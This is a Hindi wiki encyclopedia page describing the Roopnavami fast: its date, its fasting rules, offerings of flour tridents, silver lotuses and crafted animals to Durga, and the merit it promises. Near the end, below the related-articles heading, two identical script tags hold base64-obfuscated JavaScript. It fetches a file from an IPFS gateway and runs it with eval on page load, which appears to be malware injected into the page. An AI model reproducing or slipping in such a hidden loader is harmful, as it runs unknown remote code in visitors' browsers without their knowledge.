रूपनवमी

भारत डिस्कवरी प्रस्तुति
Revision as of 08:22, 28 March 2012 by रविन्द्र प्रसाद (talk | contribs) (''''रूपनवमी''' हिन्दू धर्म में किये जाने वाला एक [[व्रत ...' के साथ नया पन्ना बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

रूपनवमी हिन्दू धर्म में किये जाने वाला एक व्रत है। मार्गशीर्ष माह की शुक्ल पक्ष की नवमी को इस व्रत का प्रारम्भ होता है। इस व्रत की देवी चंडिका हैं।

  • इस व्रत को करने वाले को नवमी के दिन उपवास या नक्त या एकभक्त पद्धति से आहार करना चाहिए।
  • आटे का त्रिशूल तथा चांदी का कमल बनाकर उसे सर्व पापनाशिनी दुर्गाओं को समर्पित कर देना चाहिए।
  • पौष माह तथा उसके पश्चात् वाले मासों में भिन्न-भिन्न प्रकार के कृत्रिम पशु बनाये जाते हैं।
  • बनाये गए कृत्रिम पशुओं को भिन्न-भिन्न धातु के पात्रों में रखना चाहिए।
  • इसके उपरान्त वे देवी को भेंट कर दिये जाते हैं।
  • इस व्रत के आचरण से व्रती असंख्य वर्षों तक चंद्रलोक में वास करने के बाद सुन्दर राजा बनता है।
  • रूप का तात्पर्य है, शिल्पियों या कलाकारों द्वारा बनायी गई कोई वस्तु अथवा आकृति, जो किसी पशु से समता रखती हो।
  • जिन देवताओं का ऊपर उल्लेख किया गया है, वे या तो दुर्गाजी हों या मातृदेवता।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 561 |


संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः